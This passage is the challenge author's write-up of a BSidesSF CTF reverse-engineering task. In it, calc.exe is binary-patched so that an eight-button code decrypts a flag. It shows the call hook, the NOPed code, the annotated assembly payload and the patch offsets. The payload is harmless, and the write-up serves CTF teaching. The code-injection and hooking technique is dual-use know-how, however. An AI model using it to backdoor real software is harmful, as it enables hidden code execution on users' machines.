    Next, I needed a part of memory that I can read/write to store the encrypted flag (so I could decrypt it later). There are plenty of easier ways to do this - such as by decrypting it on the stack - but this seemed easy enough to do. I also needed a smaller piece of unused memory to store the count (which is incremented each time the correct button is pressed - we'll see that later).

    In the start() function, I noticed this code:

    .text:01012986                 push    offset unk_1014010
    .text:0101298B                 push    offset unk_101400C
    .text:01012990                 call    _initterm
    

    I don't care about terminal stuff, so maybe I could just kill that code and use that memory? While writing this blog, I actually looked up what initterm is, and realized that it isn't even doing anything - it just points to two NULL addresses.

    So I went ahead and NOP'ed out that code, so those two memory addresses would remain untouched. Then I set the value at that address to 0x0000000, to initialize the counter (although I think it already had that value).

    For the actual flag, I had to store it in UTF-16, so if I wanted a 16 character flag, I needed 32 bytes of memory to store it in. That's a lot!

    I solved that problem by overwriting random unused-looking chunks of memory until calc.exe could start and avoid crashing. Probably not the cleanest solution - I may have redefined math as we know it - but it did the trick! That memory ended up starting here:

    .data:010140C0                 db    0
    .data:010140C1                 db    0
    .data:010140C2                 db 0FFh
    .data:010140C3                 db    0
    .data:010140C4                 db  50h ; P
    .data:010140C5                 db    0
    .data:010140C6                 db    0
    .data:010140C7                 db    0
    .data:010140C8                 db 0FFh
    .data:010140C9                 db    0
    .data:010140CA                 db    0
    .data:010140CB                 db    0
    ...32 bytes
    

    AFAICT, that data is never read (but it's certainly possible I'm wrong). I initialized that to the "encrypted" version of the flag, which is simply the 32 byte flag XORed by the values for certain calculator buttons - we'll see that later.

    So now we have space for code, a small amount of r/w memory (for a counter), and a larger amount of r/w memory (for the encrypted flag)! This could certainly have been done more easily, but I was finding memory as I needed it, so it became somewhat complex. Since this is a reverse engineering problem, that makes it all the more fun!

    Find where button presses are handled

    Now that we have space for code, how do we run the code?

    I wish I had a good story about how to find the code. In the Windows 7 version of calc.exe, I used the compiled-in symbols to quickly narrow it down. But the Windows 7 version didn't work, and Windows 2003 didn't have symbols.

    In the end, I literally just sorted the list of functions by length, and looked at the longest one: sub_10028A1.

    The body of that sub looks like:

    ...
    .text:010028C9                 jb      short loc_10028D3
    .text:010028CB                 cmp     esi, 8Dh
    .text:010028D1                 jbe     short loc_100292E
    .text:010028D3
    .text:010028D3 loc_10028D3:                            ; CODE XREF: sub_10028A1+28j
    .text:010028D3                 cmp     esi, 132h
    .text:010028D9                 jb      short loc_10028E3
    .text:010028DB                 cmp     esi, 135h
    .text:010028E1                 jbe     short loc_100292E
    .text:010028E3
    .text:010028E3 loc_10028E3:                            ; CODE XREF: sub_10028A1+38j
    .text:010028E3                 cmp     esi, 136h
    .text:010028E9                 jb      short loc_10028F3
    .text:010028EB                 cmp     esi, 139h
    .text:010028F1                 jbe     short loc_100292E
    .text:010028F3
    .text:010028F3 loc_10028F3:                            ; CODE XREF: sub_10028A1+48j
    .text:010028F3                 cmp     esi, 13Ah
    .text:010028F9                 jb      short loc_1002903
    .text:010028FB                 cmp     esi, 13Ch
    .text:01002901                 jbe     short loc_100292E
    ...
    

    Compare, jump, compare, jump, compare jump, etc. That looks like buttons being checked! The value being compared at each step is stored in esi, which is defined at the top of that function:

    .text:010028B7                 push    esi
    .text:010028B8                 mov     esi, [ebp+hMem]
    .text:010028BB                 mov     [ebp+var_14], eax
    .text:010028BE                 mov     eax, 8Ch
    .text:010028C3                 cmp     esi, eax
    

    To figure out what that value is, I set a breakpoint at 0x010028BB:

    0:000> bp 0x010028BB
    0:000> g
    

    Then I clicked on '0', and execution stopped! I used r esi to see the argument:

    Breakpoint 0 hit
    calc+0x28bb:
    010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
    0:000:x86> r esi
    esi=0000007c
    0:000:x86> g
    

    Then I tried again with pressing '1':

    010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
    0:000:x86> r esi
    esi=0000007d
    

    I tried a few more just to make sure, but it worked as as you'd expect: 2 was 0x7e, 3 was 0x7f, 4 was 0x80, and so on. Wonderful!

    Now that I know where button-pushes are processed, I know where I need to inject my code!

    Hooking execution

    Right at the start of sub_10028A1, the first two lines are:

    .text:010028A1 B8 4A 2D 01 01                 mov     eax, offset sub_1012D4A
    .text:010028A6 E8 F5 01 01 00                 call    sub_1012AA0
    .text:010028AB 81 EC D0 00 00+                sub     esp, 0D0h
    

    I'm not 100% sure what those first two lines are doing, and I still don't really know, but I do know that if I NOP out that code, everything still works. Perfect! I assume it's part of the "this execution is taking too long" code, since that stopped working when I added this patch. But we fix that later. :)

    The space I freed up for my code starts at 0x01007E2D - one byte past the start of __security_check_cookie, where we created a fake ret instruction.

    I want to change call sub_1012AA0 to call sub_1007E2D. The first byte of the original call - E8 - simply means "call a 4-byte relative address". The next 4 bytes are the offset from the start of the next instruction to the instruction we want to call (as little endian).

    What's that mean? It means that we need to know how far it is from the next instruction (0x010028AB) and the place we want to call (0x01007E2D). We can figure that out with simple math:

    0x01007E2D - 0x010028AB = 0x00005582
    

    So we simply change the instruction to "E8 82 55 00 00" - "call sub_1007E2D".

    Of course, right now there's just the remnants of the old function there, so if you call it, it'll crash. That brings us to the last major part - the payload!

    Payload

    The payload is the most important part! It's simply arbitrary assembly code that'll run each time a button is pressed.

    The way it works is, it takes the button code (such as 0x7c for '0') and compares it to the current byte of the expected code (starting at offset 0). If it doesn't match, we reset the counter and return. If it does match, we increment the counter and return if the counter is less than 8.

    When the counter reaches 8 - the length of the code - it runs the "decryption" code and pops up a MessageBox with the decrypted flag. The decryption code will XOR the first 4 bytes of the encrypted flag with the first byte of the code. The next 4 bytes with the next byte, and so on, until the 8 code bytes have decoded the 32 flag bytes.

    Note: this is not particularly good encryption, especially since the key is stored in memory. Don't do that if you want real security! :)

    Here's the full, annotated assembly:

    ; eax = current character
    mov eax, [ebp+8]
    pushad
    
    call get_values
      ; This is the expected code
      db 'XXXXXXXX'
    
      ; Get a handle to our "checker"
      get_values:
        pop esi
    
      ; Get the "index"
      mov ecx, [0x0101400c]
    
      ; Go to the "index"
      mov edx, esi
      add edx, ecx
    
      ; Check if we're good
      cmp byte [edx], al
    
      jz its_good
    
      ; If it's wrong, reset the count
      mov dword [0x0101400c], 0
      popad
      ret
    
    its_good:
      ; If it's right, increment the index
      inc ecx
      mov [0x0101400c], ecx
    
      ; Check if we're done
      cmp ecx, 0x08
      jl notdone
    
      ; If we ARE done, decode the actual flag
      ; esi = already the decoder string
      ; edi = the text
      mov edi, 0x010140c0
      xor ecx, ecx
    
    ; A little decoder loop
    top:
      mov al, [esi+ecx] ; al = this byte of the decoder string
    
      mov edx, ecx ; Multiply ecx by 4, so we can index into the encoded key
      shl edx, 2
    
      xor [edi+edx+0], al ; First byte
      xor [edi+edx+1], al ; Second byte
      xor [edi+edx+2], al ; Third byte
      xor [edi+edx+3], al ; First byte
    
      ; Increment the loop counter
      inc ecx
      cmp ecx, 0x08
      jl top
    
      ; Call MessageBoxW()!
      push 0
      push 0x010140c0 ; Decrypted flag
      push 0x010140c0 ; Decrypted flag
      push 0
      call [0x010011a8] ; MessageBoxW()
    
    notdone:
      popad
    ret
    

    You may note two odd things: first, we call MessageBoxW(). MessageBoxW() is the UTF-16 messagebox function in Windows. That means we need to use 2 bytes for every character of our flag. Why do we use that one? Because it's what calc.exe already imports - unfortunately, we can't easily get MessageBoxA() without using GetProcAddress() or some other trick.

    Second, the expected code is set to "XXXXXXXX". In the patch.rb file, I actually generate the code entirely randomly, encrypt the flag with it, and dynamically fill in the flag and the code!

    Here's what it looks like when I run the generator script:

    $ make
    ruby ./do_patch.rb
    Raw code: 5c 84 7e 5b 81 83 7f 84
    Code: + 8 2 * 5 7 3 8
    Code: ["5c847e5b81837f84"]
    Encoded flag: 1f 5c 08 5c c2 84 ff 84 32 7e 3f 7e 0e 5b 15 5b c2 81 c9 81 c6 83 c7 83 5e 7f 01 7f f9 84 84 84
    Patching 5 bytes @ 0x1ca6 from (inline data)
    Patching 1 bytes @ 0x722c from (inline data)
    Patching 15 bytes @ 0x11d86 from (inline data)
    Patching 115 bytes @ 0x722d from realpatch.bin
    Patching 4 bytes @ 0x1300c from (inline data)
    Patching 32 bytes @ 0x130c0 from (inline data)
    Patching 8 bytes @ 0x7236 from (inline data)
    Patching 16 bytes @ 0x3be6 from (inline data)
    

    It generated the code of +82*5738 - not quite so interesting, but that code is then written to 0x7236, which means it's written directly over the "XXXXXXXX" string!

    All said and done, the patch is 115 bytes long (with no real attempt to optimized my assembly). Not too shabby!

    Fixing "this calculation is taking too long"

    One funny thing - I was forever getting "This calculation is taking too long, would you like to continue?" messages. I tracked down the code to display it, and figured out it runs in a separate thread:

    .text:010047E1 75 18                          jnz     short loc_10047FB
    .text:010047E3 8D 45 FC                       lea     eax, [ebp+ThreadId]
    .text:010047E6 50                             push    eax             ; lpThreadId
    .text:010047E7 56                             push    esi             ; dwCreationFlags
    .text:010047E8 56                             push    esi             ; lpParameter
    .text:010047E9 68 1C 47 00 01                 push    offset StartAddress ; lpStartAddress
    .text:010047EE 56                             push    esi             ; dwStackSize
    .text:010047EF 56                             push    esi             ; lpThreadAttributes
    .text:010047F0 FF 15 2C 10 00+                call    ds:CreateThread
    

    By this point, I just wanted to go to bed (I wrote this whole thing in one evening!), so I literally just replaced that whole block of code - the pushes and the call - with NOPs. That thread no longer runs, and my problem is solved. :)

    I still have no idea why I started seeing that.. presumably, I accidentally killed the reset-timer code.

    Putting it all together

    All said and done, here are all the patches I just talked about, all in one place:

    patches = [
      # This patch calls the handler code at each character press by adding a "call"
      { offset: 0x1ca6,  max: 0x05, data: "\xe8\x82\x55\x00\x00" },
    
      # This patch gets rid of the "real" functionality by making it simply "return"
      { offset: 0x722c,  max: 0x01, data: "\xc3" },
    
      # This patch removs some console i/o stuff, giving us 20 bytes of freed-up
      # r/w memory where we store the counter
      { offset: 0x11d86, max: 0x0f, data: "\x90" * 0x0f },
    
      # This is the actual binary patch, which adds all the functionality (except
      # for the encoded flag)
      { offset: 0x722d,  max: 0x9c, file: 'realpatch.bin' },
    
      # This is the counter for the current byte we're at
      { offset: 0x1300c, max: 0x04, data: "\0\0\0\0" },
    
      # This is the r/w "encrypted" data (in maybe-unused memory)
      { offset: 0x130c0, max: 0x20, data: ENCODED_FLAG },
    
      # This is the r/o "validator" data (it's 9 past the start of the realpatch data)
      { offset: 0x722d+9, max: 0x08, data: CODE },
    
      # This kills the annoying "This operation is taking too long!!!" thread
      { offset: 0x3be6, max: 0x10, data: "\x90" * 0x10 },
    ]
    

    We replace the call to get control of code execution; we disable stack cookies to free up code space; we disable console i/o stuff to free up data stuff; we overwrite the stack cookie function with realpatch.bin; we reset the counter; we copy our encrypted flag to probably-unused memory; we patch the code directly into the assembly; and finally, we kill the "operation is taking too long" thread.

    Eight patches, and we have a cool backdoor in Calc! The coolest thing is, the flag and code are both generated dynamically. That means you can easily change the code and data and get your own encrypted flag!

    Solving it

    I honestly haven't solved it myself, other than typing in the code to verify it works, but I talked to one team and asked how they solved it.

    Their answer: "we diffed it with the real version, and the code stuck out like a sore thumb!"

    Once you know where the hook is, the assembly code I posted above is pretty easy to reverse engineer for somebody experienced in doing CTFs. Just gotta debug it to figure out how the codes (like 0x7C) correspond to buttons ('0')!

    One thought on “In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    1. Reply

      JJ Maline

      What tool did you use to disassemble the binary file? None of my tools produce this output. I tired objdump, immunity.

      .text:01007E2C ; =============== S U B R O U T I N E =======================================
      .text:01007E2C
      .text:01007E2C ; Attributes: library function
      .text:01007E2C
      .text:01007E2C ; __fastcall __security_check_cookie(x)
      .text:01007E2C @__security_check_cookie@4 proc near ; CODE XREF: sub_1001B19+470p
      .text:01007E2C ; sub_100209C+2E0p ...
      .text:01007E2C
      .text:01007E2C var_2AC = byte ptr -2ACh
      .text:01007E2C
      .text:01007E2C cmp ecx, ___security_cookie
      .text:01007E32 jnz short $failure$18941
      .text:01007E34 retn
      ...

    Leave a Reply

    Your email address will not be published.

     

    #####EOF#####